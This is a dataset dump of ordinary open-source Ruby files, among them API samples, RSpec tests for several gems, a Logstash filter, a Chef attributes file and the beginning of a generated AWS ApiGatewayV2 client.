hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
08c23a3f8c515538caad5bb275254f390951e2ab | 2,313 | #!/usr/bin/env ruby
# Encoding: utf-8
#
# Copyright:: Copyright 2016, Google Inc. All Rights Reserved.
#
# License:: Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
# implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Updates the specified product on the specified account.
# This should only be used for properties unsupported by the inventory
# collection. If you're updating any of the supported properties in a product,
# be sure to use the inventory.set method, for performance reasons.
require_relative 'product_common'
def update_product(content_api, merchant_id, product_id)
# First we need to retrieve the full object, since there are no partial
# updates for the products collection in Content API v2.
response = content_api.get_product(merchant_id, product_id) do |res, err|
if err
if err.status == 404
puts "Product #{product_id} not found in account #{merchant_id}."
else
handle_errors(err)
end
exit
end
end
# Let's fix the warning about product_type and update the product.
response.product_type = 'English/Classics'
# Notice that we use insert. The products service does not have an update
# method. Inserting a product with an ID that already exists means the same
# as doing an update.
content_api.insert_product(merchant_id, response) do |res2, err2|
if err2
handle_errors(err2)
exit
end
puts 'Product successfully updated.'
# We shouldn't get the product type warning anymore.
handle_warnings(res2)
end
end
if __FILE__ == $0
unless ARGV.size == 1
puts "Usage: #{$0} PRODUCT_ID"
exit
end
product_id = ARGV[0]
config = Config.load()
content_api = service_setup(config)
update_product(content_api, config.merchant_id, product_id)
end
| 33.042857 | 79 | 0.702983 |
d5ca8470381f04281505c7e2bc85abba381ed0bd | 1,311 | require 'spec_helper'
RSpec.xdescribe Yoda::Store::Objects::ProjectStatus do
describe 'serialization' do
subject { JSON.load(project_status.to_json) }
let(:project_status) do
Yoda::Store::Objects::ProjectStatus.new(
version: 1,
bundle: Yoda::Store::Objects::ProjectStatus::BundleStatus.new(
gem_statuses: [
Yoda::Store::Objects::ProjectStatus::GemStatus.new(
name: 'rspec', version: '3.7.0', present: true,
),
Yoda::Store::Objects::ProjectStatus::GemStatus.new(
name: 'yard', version: '0.9.0', present: false,
),
],
local_library_statuses: [],
std_status: Yoda::Store::Objects::ProjectStatus::StdStatus.new(
version: '2.5.0', core_present: true, std_present: false,
),
),
)
end
it do
is_expected.to have_attributes(
version: 1,
bundle: have_attributes(
gem_statuses: contain_exactly(
have_attributes(name: 'rspec', version: '3.7.0', present: true),
have_attributes(name: 'yard', version: '0.9.0', present: false),
),
std_status: have_attributes(version: '2.5.0', core_present: true, std_present: false),
),
)
end
end
end
| 32.775 | 96 | 0.577422 |
e822a89c4d3c5559f69662c14e6d91cc258ebf64 | 204 | module GpgKeys
class CreateService < Keys::BaseService
def execute
key = user.gpg_keys.create(params)
notification_service.new_gpg_key(key) if key.persisted?
key
end
end
end
| 20.4 | 61 | 0.70098 |
0179f4694bfb0d350e83ba066f2d234245f48a5f | 289 | module Cucumber
module Generators
class InstallGenerator < ::Rails::Generators::Base
source_root File.expand_path(File.join(File.dirname(__FILE__), 'templates'))
def copy_rails_support
copy_file "rails.rb", "features/support/env.rb"
end
end
end
end
| 22.230769 | 82 | 0.695502 |
282803acd92fff94d8aabc7e1762d0a4f447a7cd | 1,227 | require "rails_helper"
describe "As an Admin" do
before :each do
@admin = create(:admin)
@station = create(:station)
allow_any_instance_of(ApplicationController).to receive(:current_user).and_return(@admin)
end
describe "when I visit the station show page" do
it "I can see all the attributes" do
visit station_path(@station)
expect(page).to have_content(@station.name)
expect(page).to have_content(@station.dock_count)
expect(page).to have_content(@station.city)
expect(page).to have_content(@station.installation_date)
end
it "I can see the edit and delete buttons" do
visit station_path(@station)
expect(page).to have_content("Edit")
expect(page).to have_content("Delete")
end
it "the edit button is functional" do
visit station_path(@station)
click_on "Edit"
expect(current_path).to eq(edit_admin_station_path(@station))
end
it "the delete button is functional" do
visit station_path(@station)
click_on "Delete"
expect(current_path).to eq(stations_path)
expect(page).to have_content("Station deleted =(")
expect(page).to_not have_content(@station.name)
end
end
end
| 27.266667 | 93 | 0.690302 |
26301c3f745b939bec5050de4a253b0e7f3c1841 | 4,529 | require 'spec_helper'
describe Blacklight::SearchBuilder do
let(:processor_chain) { [] }
let(:blacklight_config) { Blacklight::Configuration.new }
let(:scope) { double blacklight_config: blacklight_config }
subject { described_class.new processor_chain, scope }
describe "#with" do
it "should set the blacklight params" do
params = {}
subject.with(params)
expect(subject.blacklight_params).to eq params
end
it "should dup the params" do
params = {}
subject.with(params).where('asdf')
expect(subject.blacklight_params).not_to eq params
expect(subject.blacklight_params[:q]).to eq 'asdf'
expect(params[:q]).not_to eq 'asdf'
end
end
describe "#processor_chain" do
let(:processor_chain) { [:a, :b, :c] }
it "should be mutable" do
subject.processor_chain.insert(-1, :d)
expect(subject.processor_chain).to match_array [:a, :b, :c, :d]
end
end
describe "#append" do
let(:processor_chain) { [:a, :b, :c] }
it "should provide a new search builder with the processor chain" do
builder = subject.append(:d, :e)
expect(subject.processor_chain).to eq processor_chain
expect(builder.processor_chain).not_to eq subject.processor_chain
expect(builder.processor_chain).to match_array [:a, :b, :c, :d, :e]
end
end
describe "#query" do
it "should append the extra parameters to the result" do
actual = subject.query({a: 1})
expect(actual).to include a: 1
end
end
describe "#processed_parameters" do
let(:processor_chain) { [:step_1] }
it "should try to run the processor method on the provided scope" do
allow(scope).to receive(:respond_to?).and_return(true)
allow(scope).to receive(:step_1) do |req_params, user_params|
req_params[:step_1] = 'scope'
req_params[:user_params] = user_params
end
Deprecation.silence(Blacklight::SearchBuilder) do
subject.with(a: 1)
expect(subject.processed_parameters).to include step_1: 'scope', user_params: { a: 1 }
end
end
it "should try to run the processor method on the search builder" do
allow(subject).to receive(:step_1) do |req_params|
req_params[:step_1] = 'builder'
end
subject.with(a: 1)
expect(subject.processed_parameters).to include step_1: 'builder'
end
end
describe "#blacklight_config" do
it "should get the blacklight_config from the scope" do
expect(subject.blacklight_config).to eq scope.blacklight_config
end
end
describe "#page" do
it "should be the current user parameter page number" do
expect(subject.with(page: 2).send(:page)).to eq 2
end
it "should be page 1 if not page number given" do
expect(subject.send(:page)).to eq 1
end
it "should coerce parameters to integers" do
expect(subject.with(page: '2b').send(:page)).to eq 2
end
end
describe "#rows" do
it "should be the per_page parameter" do
expect(subject.with(per_page: 5).send(:rows)).to eq 5
end
it "should support the legacy 'rows' parameter" do
expect(subject.with(rows: 10).send(:rows)).to eq 10
end
it "should use the provided default" do
expect(subject.send(:rows, 17)).to eq 17
end
it "should be set to the configured default" do
blacklight_config.default_per_page = 42
expect(subject.send(:rows)).to eq 42
end
it "should default to 10" do
blacklight_config.default_per_page = nil
expect(subject.send(:rows)).to eq 10
end
it "should limit the number of rows to the configured maximum" do
blacklight_config.max_per_page = 1000
expect(subject.send(:rows, 1001)).to eq 1000
end
end
describe "#sort" do
it "should pass through the sort parameter" do
expect(subject.with(sort: 'x').send(:sort)).to eq 'x'
end
it "should use the default if no sort parameter is given" do
blacklight_config.default_sort_field = double(sort: 'x desc')
expect(subject.send(:sort)).to eq 'x desc'
end
it "should use the requested sort field" do
blacklight_config.add_sort_field 'x', sort: 'x asc'
expect(subject.with(sort: 'x').send(:sort)).to eq 'x asc'
end
end
describe "#search_field" do
it "should use the requested search field" do
blacklight_config.add_search_field 'x'
expect(subject.with(search_field: 'x').send(:search_field)).to eq blacklight_config.search_fields['x']
end
end
end | 31.234483 | 108 | 0.668359 |
f7a712e56873cc7aa8c399983ed5bf62e72cfcfe | 165 | class RenameUsersToLogins < ActiveRecord::Migration
def self.up
rename_table :users, :logins
end
def self.down
rename_table :logins, :users
end
end
| 16.5 | 51 | 0.727273 |
ed291af8417ed0b5ce7b5ce038e9b1011dc4b8ff | 16,954 | # encoding: utf-8
require 'spec_helper'
require 'data/sample_data'
describe CarrierWaveDirect::Uploader do
include UploaderHelpers
include ModelHelpers
let(:subject) { DirectUploader.new }
let(:mounted_model) { MountedClass.new }
let(:mounted_subject) { DirectUploader.new(mounted_model, sample(:mounted_as)) }
DirectUploader.fog_credentials.keys.each do |key|
describe "##{key}" do
it "should return the #{key.to_s.capitalize}" do
expect(subject.send(key)).to eq subject.class.fog_credentials[key]
end
it "should not be nil" do
expect(subject.send(key)).to_not be_nil
end
end
end
it_should_have_accessor(:success_action_redirect)
it_should_have_accessor(:success_action_status)
describe "#key=" do
before { subject.key = sample(:key) }
it "should set the key" do
expect(subject.key).to eq sample(:key)
end
context "the versions keys" do
it "should == this subject's key" do
subject.versions.each do |name, version_subject|
expect(version_subject.key).to eq subject.key
end
end
end
end
describe "#key" do
context "where the key is not set" do
before do
mounted_subject.key = nil
end
it "should return '*/\#\{guid\}/${filename}'" do
expect(mounted_subject.key).to match /#{GUID_REGEXP}\/\$\{filename\}$/
end
context "and #store_dir returns '#{sample(:store_dir)}'" do
before do
allow(mounted_subject).to receive(:store_dir).and_return(sample(:store_dir))
end
it "should return '#{sample(:store_dir)}/\#\{guid\}/${filename}'" do
expect(mounted_subject.key).to match /^#{sample(:store_dir)}\/#{GUID_REGEXP}\/\$\{filename\}$/
end
end
context "and the uploaders url is #default_url" do
it "should return '*/\#\{guid\}/${filename}'" do
allow(mounted_subject).to receive(:url).and_return(sample(:s3_file_url))
allow(mounted_subject).to receive(:present?).and_return(false)
expect(mounted_subject.key).to match /#{GUID_REGEXP}\/\$\{filename\}$/
end
end
context "but the uploaders url is '#{sample(:s3_file_url)}'" do
before do
allow(mounted_subject).to receive(:store_dir).and_return(sample(:store_dir))
allow(mounted_subject).to receive(:present?).and_return(true)
allow(mounted_model).to receive(:video_identifier).and_return(sample(:stored_filename))
mounted_model.remote_video_url = sample(:s3_file_url)
end
it "should return '#{sample(:s3_key)}'" do
expect(mounted_subject.key).to eq sample(:s3_key)
end
it "should set the key explicitly in order to update the version keys" do
expect(mounted_subject).to receive("key=").with(sample(:s3_key))
mounted_subject.key
end
end
end
context "where the key is set to '#{sample(:key)}'" do
before { subject.key = sample(:key) }
it "should return '#{sample(:key)}'" do
expect(subject.key).to eq sample(:key)
end
end
end
describe "#url_scheme_white_list" do
it "should return nil" do
expect(subject.url_scheme_white_list).to be_nil
end
end
describe "#direct_fog_url" do
it "should return the result from CarrierWave::Storage::Fog::File#public_url" do
expect(subject.direct_fog_url).to eq CarrierWave::Storage::Fog::File.new(
subject, nil, nil
).public_url
end
end
describe "#key_regexp" do
it "should return a regexp" do
expect(subject.key_regexp).to be_a(Regexp)
end
context "where #store_dir returns '#{sample(:store_dir)}'" do
before do
allow(subject).to receive(:store_dir).and_return(sample(:store_dir))
allow(subject).to receive(:cache_dir).and_return(sample(:cache_dir))
end
context "and #extension_regexp returns '#{sample(:extension_regexp)}'" do
before do
allow(subject).to receive(:extension_regexp).and_return(sample(:extension_regexp))
end
it "should return /\\A(#{sample(:store_dir)}|#{sample(:cache_dir)})\\/#{GUID_REGEXP}\\/.+\\.#{sample(:extension_regexp)}\\z/" do
expect(subject.key_regexp).to eq /\A(#{sample(:store_dir)}|#{sample(:cache_dir)})\/#{GUID_REGEXP}\/.+\.(?i)#{sample(:extension_regexp)}(?-i)\z/
end
end
end
end
describe "#extension_regexp" do
shared_examples_for "a globally allowed file extension" do
it "should return '\\w+'" do
expect(subject.extension_regexp).to eq "\\w+"
end
end
it "should return a string" do
expect(subject.extension_regexp).to be_a(String)
end
context "where #extension_allowlist returns nil" do
before do
allow(subject).to receive(:extension_allowlist).and_return(nil)
end
it_should_behave_like "a globally allowed file extension"
end
context "where #extension_allowlist returns []" do
before do
allow(subject).to receive(:extension_allowlist).and_return([])
end
it_should_behave_like "a globally allowed file extension"
end
context "where #extension_allowlist returns ['exe', 'bmp']" do
before do
allow(subject).to receive(:extension_allowlist).and_return(%w{exe bmp})
end
it "should return '(exe|bmp)'" do
expect(subject.extension_regexp).to eq "(exe|bmp)"
end
end
end
describe "#has_key?" do
context "a key has not been set" do
it "should return false" do
expect(subject).to_not have_key
end
end
context "the key has been autogenerated" do
before { subject.key }
it "should return false" do
expect(subject).to_not have_key
end
end
context "the key has been set" do
before { subject.key = sample_key }
it "should return true" do
expect(subject).to have_key
end
end
end
describe "#persisted?" do
it "should return false" do
expect(subject).to_not be_persisted
end
end
describe "#filename" do
context "key is set to '#{sample(:s3_key)}'" do
before { mounted_subject.key = sample(:s3_key) }
it "should return '#{sample(:stored_filename)}'" do
expect(mounted_subject.filename).to eq sample(:stored_filename)
end
end
context "key is set to '#{sample(:key)}'" do
before { subject.key = sample(:key) }
it "should return '#{sample(:key)}'" do
expect(subject.filename).to eq sample(:key)
end
end
context "key is not set" do
context "but the model's remote #{sample(:mounted_as)} url is: '#{sample(:file_url)}'" do
before do
allow(mounted_subject.model).to receive(
"remote_#{mounted_subject.mounted_as}_url"
).and_return(sample(:file_url))
end
it "should set the key to contain '#{File.basename(sample(:file_url))}'" do
mounted_subject.filename
expect(mounted_subject.key).to match /#{Regexp.escape(File.basename(sample(:file_url)))}$/
end
it "should return a filename based off the key and remote url" do
filename = mounted_subject.filename
expect(mounted_subject.key).to match /#{Regexp.escape(filename)}$/
end
# this ensures that the version subject keys are updated
# see spec for key= for more details
it "should set the key explicitly" do
expect(mounted_subject).to receive(:key=)
mounted_subject.filename
end
end
context "and the model's remote #{sample(:mounted_as)} url has special characters in it" do
before do
allow(mounted_model).to receive(
"remote_#{mounted_subject.mounted_as}_url"
).and_return("http://anyurl.com/any_path/video_dir/filename ()+[]2.avi")
end
it "should be sanitized (special characters replaced with _)" do
mounted_subject.filename
expect(mounted_subject.key).to match /filename___\+__2.avi$/
end
end
context "and the model's remote #{sample(:mounted_as)} url is blank" do
before do
allow(mounted_model).to receive(
"remote_#{mounted_subject.mounted_as}_url"
).and_return nil
end
it "should return nil" do
expect(mounted_subject.filename).to be_nil
end
end
end
end
describe "#acl" do
it "should return the correct s3 access policy" do
expect(subject.acl).to eq (subject.fog_public ? 'public-read' : 'private')
end
end
# http://aws.amazon.com/articles/1434?_encoding=UTF8
#http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-UsingHTTPPOST.html
describe "#policy" do
def decoded_policy(options = {}, &block)
instance = options.delete(:subject) || subject
JSON.parse(Base64.decode64(instance.policy(options, &block)))
end
context "policy is given a block" do
it "should yield the options to the block" do
number = 0
subject.policy do |conditions|
number+=1
end
expect(number).to eq 1
end
it "should include new options in the conditions" do
policy = subject.policy do |conditions|
conditions << {"x-aws-storage-class" => "STANDARD"}
end
decoded = JSON.parse(Base64.decode64(policy))
expect(decoded['conditions'].last['x-aws-storage-class']).to eq "STANDARD"
end
end
it "should return Base64-encoded JSON" do
expect(decoded_policy).to be_a(Hash)
end
it "should not contain any new lines" do
expect(subject.policy).to_not include("\n")
end
it "should be cached" do
Timecop.freeze(Time.now) do
@policy_now = subject.policy
end
Timecop.freeze(1.second.from_now) do
@policy_later = subject.policy
end
expect(@policy_later).to eql @policy_now
end
context "expiration" do
def expiration(options = {})
decoded_policy(options)["expiration"]
end
# JSON times have no seconds, so accept upto one second inaccuracy
def have_expiration(expires_in = DirectUploader.upload_expiration)
be_within(1.second).of (Time.now + expires_in)
end
it "should be valid ISO8601 and not use default Time#to_json" do
Time.any_instance.stub(:to_json) { '"Invalid time"' } # JSON gem
Time.any_instance.stub(:as_json) { '"Invalid time"' } # Active Support
expect { Time.iso8601(expiration) }.to_not raise_error
end
it "should be #{DirectUploader.upload_expiration / 3600} hours from now" do
Timecop.freeze(Time.now) do
expect(Time.parse(expiration)).to have_expiration
end
end
it "should be encoded as a utc time" do
expect(Time.parse(expiration)).to be_utc
end
it "should be #{sample(:expiration) / 60 } minutes from now when passing {:expiration => #{sample(:expiration)}}" do
Timecop.freeze(Time.now) do
expect(Time.parse(expiration(:expiration => sample(:expiration)))).to have_expiration(sample(:expiration))
end
end
end
context "conditions" do
def conditions(options = {})
decoded_policy(options)["conditions"]
end
def have_condition(field, value = nil)
field.is_a?(Hash) ? include(field) : include(["starts-with", "$#{field}", value.to_s])
end
context "should include" do
it "'utf8' if enforce_ut8 is set" do
expect(conditions(enforce_utf8: true)).to have_condition(:utf8)
end
it "'utf8' if enforce_ut8 is set" do
expect(conditions).to_not have_condition(:utf8)
end
# S3 conditions
it "'key'" do
allow(mounted_subject).to receive(:key).and_return(sample(:s3_key))
expect(conditions(
:subject => mounted_subject
)).to have_condition(:key, sample(:s3_key))
end
it "'key' without FILENAME_WILDCARD" do
expect(conditions(
:subject => mounted_subject
)).to have_condition(:key, mounted_subject.key.sub("${filename}", ""))
end
it "'bucket'" do
expect(conditions).to have_condition("bucket" => subject.fog_directory)
end
it "'acl'" do
expect(conditions).to have_condition("acl" => subject.acl)
end
it "'success_action_redirect'" do
subject.success_action_redirect = "http://example.com/some_url"
expect(conditions).to have_condition("success_action_redirect" => "http://example.com/some_url")
end
it "does not have 'content-type' when will_include_content_type is false" do
allow(subject.class).to receive(:will_include_content_type).and_return(false)
expect(conditions).to_not have_condition('Content-Type')
end
it "has 'content-type' when will_include_content_type is true" do
allow(subject.class).to receive(:will_include_content_type).and_return(true)
expect(conditions).to have_condition('Content-Type')
end
context 'when use_action_status is true' do
before(:all) do
DirectUploader.use_action_status = true
end
after(:all) do
DirectUploader.use_action_status = false
end
it "'success_action_status'" do
subject.success_action_status = '200'
expect(conditions).to have_condition("success_action_status" => "200")
end
it "does not have 'success_action_redirect'" do
subject.success_action_redirect = "http://example.com/some_url"
expect(conditions).to_not have_condition("success_action_redirect" => "http://example.com/some_url")
end
end
context "'content-length-range of'" do
def have_content_length_range(options = {})
include([
"content-length-range",
options[:min_file_size] || DirectUploader.min_file_size,
options[:max_file_size] || DirectUploader.max_file_size,
])
end
it "#{DirectUploader.min_file_size} bytes" do
expect(conditions).to have_content_length_range
end
it "#{DirectUploader.max_file_size} bytes" do
expect(conditions).to have_content_length_range
end
it "#{sample(:min_file_size)} bytes when passing {:min_file_size => #{sample(:min_file_size)}}" do
expect(conditions(
:min_file_size => sample(:min_file_size)
)).to have_content_length_range(:min_file_size => sample(:min_file_size))
end
it "#{sample(:max_file_size)} bytes when passing {:max_file_size => #{sample(:max_file_size)}}" do
expect(conditions(
:max_file_size => sample(:max_file_size)
)).to have_content_length_range(:max_file_size => sample(:max_file_size))
end
end
end
end
end
describe "clear_policy!" do
it "should reset the cached policy string" do
Timecop.freeze(Time.now) do
@policy_now = subject.policy
end
subject.clear_policy!
Timecop.freeze(1.second.from_now) do
@policy_after_reset = subject.policy
end
expect(@policy_after_reset).not_to eql @policy_now
end
end
# note that 'video' is hardcoded into the MountedClass support file
# so changing the sample will cause the tests to fail
context "a class has a '#{sample(:mounted_as)}' mounted" do
describe "#{sample(:mounted_as).to_s.capitalize}Uploader" do
describe "##{sample(:mounted_as)}" do
it "should be defined" do
expect(subject).to be_respond_to(sample(:mounted_as))
end
it "should return itself" do
expect(subject.send(sample(:mounted_as))).to eq subject
end
end
context "has a '#{sample(:version)}' version" do
let(:video_subject) { MountedClass.new.video }
before do
DirectUploader.version(sample(:version))
end
context "and the key is '#{sample(:s3_key)}'" do
before do
video_subject.key = sample(:s3_key)
end
context "the store path" do
let(:store_path) { video_subject.send(sample(:version)).store_path }
it "should be like '#{sample(:stored_version_filename)}'" do
expect(store_path).to match /#{sample(:stored_version_filename)}$/
end
it "should not be like '#{sample(:version)}_#{sample(:stored_filename_base)}'" do
expect(store_path).to_not match /#{sample(:version)}_#{sample(:stored_filename_base)}/
end
end
end
end
end
end
end
| 32.231939 | 153 | 0.628347 |
1dcec5528dfbf28b0ef5bb37f7404480be78fa86 | 144 | require 'test_helper'
class SendableRails::Test < ActiveSupport::TestCase
test "truth" do
assert_kind_of Module, SendableRails
end
end
| 18 | 51 | 0.770833 |
030de593298b861abeb808397e2fef7240084973 | 720 | require_relative "boot"
require "rails/all"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module Unnamedrailsproject
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 6.0
config.assets.initialize_on_precompile = false
# Settings in config/environments/* take precedence over those specified here.
# Application configuration can go into files in config/initializers
# -- all .rb files in that directory are automatically loaded after loading
# the framework and any gems in your application.
end
end
| 36 | 82 | 0.772222 |
61f9604ebbe560d767ef82c11e7e839c6f0f5486 | 1,394 | require "json"
RSpec.describe "grafana dashboards" do
grafana_dashboards.each do |dashboard_name, dashboard_contents|
it "ends in .json" do
expect(dashboard_name).to match(/[.]json$/)
end
it "is valid json" do
expect { JSON.parse dashboard_contents }.not_to raise_error
end
it "is overwritable" do
dashboard = JSON.parse(dashboard_contents)
overwrite = dashboard.dig("overwrite")
expect(overwrite).to eq(true)
end
it "has folderId 0" do
dashboard = JSON.parse(dashboard_contents)
folder_id = dashboard.dig("folderId")
expect(folder_id).to eq(0)
end
it "has a title and uid" do
dashboard = JSON.parse(dashboard_contents)
title = dashboard.dig("dashboard", "title")
uid = dashboard.dig("dashboard", "uid")
expect(title).to be_kind_of(String)
expect(uid).to be_kind_of(String)
expect(title).to match(/[-A-Za-z0-9]+/)
expect(uid).to match(/^[-a-z0-9]+$/)
end
it "has a null id" do
json = JSON.parse(dashboard_contents)
dashboard = json["dashboard"]
expect(dashboard).not_to(be(nil), "does not include a dashboard object")
id_exists = dashboard.key?("id")
id = dashboard.dig("id")
expect(id_exists).to(be(true), "must include an 'id' key")
expect(id).to(be(nil), "must specify id: null")
end
end
end
| 25.345455 | 78 | 0.637733 |
182194ebc2a0f63cceb18d3aa857ebc3216754b0 | 681 | module Ruboty
module Handlers
class Base
class << self
include Mem
def inherited(child)
Ruboty.handlers << child
end
def on(pattern, options = {})
actions << Action.new(pattern, options)
end
def actions
[]
end
memoize :actions
end
include Env::Validatable
attr_reader :robot
def initialize(robot)
@robot = robot
validate!
end
def call(message, options = {})
self.class.actions.inject(false) do |matched, action|
matched | action.call(self, message, options)
end
end
end
end
end
| 17.921053 | 61 | 0.534508 |
08763e33cb3ed8ba13d4d3dc6919db413d68a329 | 1,509 | # frozen_string_literal: true
require "compilers"
describe CompilerFailure do
alias_matcher :fail_with, :be_fails_with
describe "::create" do
it "creates a failure when given a symbol" do
failure = described_class.create(:clang)
expect(failure).to fail_with(double("Compiler", name: :clang, version: 600))
end
it "can be given a build number in a block" do
failure = described_class.create(:clang) { build 700 }
expect(failure).to fail_with(double("Compiler", name: :clang, version: 700))
end
it "can be given an empty block" do
failure = described_class.create(:clang) {}
expect(failure).to fail_with(double("Compiler", name: :clang, version: 600))
end
it "creates a failure when given a hash" do
failure = described_class.create(gcc: "7")
expect(failure).to fail_with(double("Compiler", name: "gcc-7", version: "7"))
expect(failure).to fail_with(double("Compiler", name: "gcc-7", version: "7.1"))
expect(failure).not_to fail_with(double("Compiler", name: "gcc-6", version: "6.0"))
end
it "creates a failure when given a hash and a block with aversion" do
failure = described_class.create(gcc: "7") { version "7.1" }
expect(failure).to fail_with(double("Compiler", name: "gcc-7", version: "7"))
expect(failure).to fail_with(double("Compiler", name: "gcc-7", version: "7.1"))
expect(failure).not_to fail_with(double("Compiler", name: "gcc-7", version: "7.2"))
end
end
end
| 38.692308 | 89 | 0.667329 |
ff6d494730845b3f4940d13f6abfdb9ccbfb4bcb | 593 | # encoding: utf-8
require "logstash/filters/base"
require "logstash/namespace"
class LogStash::Filters::Unique < LogStash::Filters::Base
config_name "unique"
# The fields on which to run the unique filter.
config :fields, :validate => :array, :required => true
public
def register
# Nothing to do
end # def register
public
def filter(event)
@fields.each do |field|
next unless event.include?(field)
next unless event.get(field).is_a?(Array)
event.set(field, event.get(field).uniq)
end
end # def filter
end # class LogStash::Filters::Unique
| 22.807692 | 57 | 0.689713 |
bbd1bbec0a491a9e6ecffbe0847efbb571b189b5 | 552 | require 'trollop'
module RailsLogDeinterleaver
class Cli
def initialize
opts = Trollop::options do
opt :output, "Output file (if unspecified, output will go to stdout)", type: :string
opt :backward, "Limit how many lines to go backward (default: no limit)", type: :integer
end
input = ARGV.last
if opts[:output]
opts[:output] = File.new(opts[:output], 'w')
end
raise 'Must specify input log file' unless input && File.exist?(input)
Parser.new(input, opts).run
end
end
end
| 27.6 | 96 | 0.63587 |
ac9fff4ab3adae562a853689ce5cd1d236d13970 | 609 | #
# Cookbook Name:: java_wrapper
# Attributes:: default
#
#
default["java"]["install_flavor"] = "oracle"
default["java"]["jdk_version"] = "8"
#default["java"]["jdk"]["8"]["x86_64"]["url"] = "#{node[:nexus_url]}/nexus/content/repositories/filerepo/third-party/project/oracle/jdk/8u92-linux/jdk-8u92-linux-x64.tar.gz"
default["java"]["jdk"]["8"]["x86_64"]["url"] = "file:///opt/private_licenses/java/jdk-8u92-linux-x64.tar.gz"
default["java"]["jdk"]["8"]["x86_64"]["checksum"] = "79a3f25e9b466cb9e969d1772ea38550de320c88e9119bf8aa11ce8547c39987"
default["java"]["jdk"]["version"]["to"]["keep"] = "jdk1.8.0_92"
| 46.846154 | 173 | 0.688013 |
bf2f0dc3248efb7bfd15ba764b4e456fd9972991 | 198,799 | # frozen_string_literal: true
# WARNING ABOUT GENERATED CODE
#
# This file is generated. See the contributing guide for more information:
# https://github.com/aws/aws-sdk-ruby/blob/version-3/CONTRIBUTING.md
#
# WARNING ABOUT GENERATED CODE
require 'seahorse/client/plugins/content_length.rb'
require 'aws-sdk-core/plugins/credentials_configuration.rb'
require 'aws-sdk-core/plugins/logging.rb'
require 'aws-sdk-core/plugins/param_converter.rb'
require 'aws-sdk-core/plugins/param_validator.rb'
require 'aws-sdk-core/plugins/user_agent.rb'
require 'aws-sdk-core/plugins/helpful_socket_errors.rb'
require 'aws-sdk-core/plugins/retry_errors.rb'
require 'aws-sdk-core/plugins/global_configuration.rb'
require 'aws-sdk-core/plugins/regional_endpoint.rb'
require 'aws-sdk-core/plugins/endpoint_discovery.rb'
require 'aws-sdk-core/plugins/endpoint_pattern.rb'
require 'aws-sdk-core/plugins/response_paging.rb'
require 'aws-sdk-core/plugins/stub_responses.rb'
require 'aws-sdk-core/plugins/idempotency_token.rb'
require 'aws-sdk-core/plugins/jsonvalue_converter.rb'
require 'aws-sdk-core/plugins/client_metrics_plugin.rb'
require 'aws-sdk-core/plugins/client_metrics_send_plugin.rb'
require 'aws-sdk-core/plugins/transfer_encoding.rb'
require 'aws-sdk-core/plugins/http_checksum.rb'
require 'aws-sdk-core/plugins/signature_v4.rb'
require 'aws-sdk-core/plugins/protocols/rest_json.rb'
Aws::Plugins::GlobalConfiguration.add_identifier(:apigatewayv2)
module Aws::ApiGatewayV2
# An API client for ApiGatewayV2. To construct a client, you need to configure a `:region` and `:credentials`.
#
# client = Aws::ApiGatewayV2::Client.new(
# region: region_name,
# credentials: credentials,
# # ...
# )
#
# For details on configuring region and credentials see
# the [developer guide](/sdk-for-ruby/v3/developer-guide/setup-config.html).
#
# See {#initialize} for a full list of supported configuration options.
class Client < Seahorse::Client::Base
include Aws::ClientStubs
@identifier = :apigatewayv2
set_api(ClientApi::API)
add_plugin(Seahorse::Client::Plugins::ContentLength)
add_plugin(Aws::Plugins::CredentialsConfiguration)
add_plugin(Aws::Plugins::Logging)
add_plugin(Aws::Plugins::ParamConverter)
add_plugin(Aws::Plugins::ParamValidator)
add_plugin(Aws::Plugins::UserAgent)
add_plugin(Aws::Plugins::HelpfulSocketErrors)
add_plugin(Aws::Plugins::RetryErrors)
add_plugin(Aws::Plugins::GlobalConfiguration)
add_plugin(Aws::Plugins::RegionalEndpoint)
add_plugin(Aws::Plugins::EndpointDiscovery)
add_plugin(Aws::Plugins::EndpointPattern)
add_plugin(Aws::Plugins::ResponsePaging)
add_plugin(Aws::Plugins::StubResponses)
add_plugin(Aws::Plugins::IdempotencyToken)
add_plugin(Aws::Plugins::JsonvalueConverter)
add_plugin(Aws::Plugins::ClientMetricsPlugin)
add_plugin(Aws::Plugins::ClientMetricsSendPlugin)
add_plugin(Aws::Plugins::TransferEncoding)
add_plugin(Aws::Plugins::HttpChecksum)
add_plugin(Aws::Plugins::SignatureV4)
add_plugin(Aws::Plugins::Protocols::RestJson)
# @overload initialize(options)
# @param [Hash] options
# @option options [required, Aws::CredentialProvider] :credentials
# Your AWS credentials. This can be an instance of any one of the
# following classes:
#
# * `Aws::Credentials` - Used for configuring static, non-refreshing
# credentials.
#
# * `Aws::SharedCredentials` - Used for loading static credentials from a
# shared file, such as `~/.aws/config`.
#
# * `Aws::AssumeRoleCredentials` - Used when you need to assume a role.
#
# * `Aws::AssumeRoleWebIdentityCredentials` - Used when you need to
# assume a role after providing credentials via the web.
#
# * `Aws::SSOCredentials` - Used for loading credentials from AWS SSO using an
# access token generated from `aws login`.
#
# * `Aws::ProcessCredentials` - Used for loading credentials from a
# process that outputs to stdout.
#
# * `Aws::InstanceProfileCredentials` - Used for loading credentials
# from an EC2 IMDS on an EC2 instance.
#
# * `Aws::ECSCredentials` - Used for loading credentials from
# instances running in ECS.
#
# * `Aws::CognitoIdentityCredentials` - Used for loading credentials
# from the Cognito Identity service.
#
# When `:credentials` are not configured directly, the following
# locations will be searched for credentials:
#
# * `Aws.config[:credentials]`
# * The `:access_key_id`, `:secret_access_key`, and `:session_token` options.
# * ENV['AWS_ACCESS_KEY_ID'], ENV['AWS_SECRET_ACCESS_KEY']
# * `~/.aws/credentials`
# * `~/.aws/config`
# * EC2/ECS IMDS instance profile - When used by default, the timeouts
# are very aggressive. Construct and pass an instance of
# `Aws::InstanceProfileCredentails` or `Aws::ECSCredentials` to
# enable retries and extended timeouts.
#
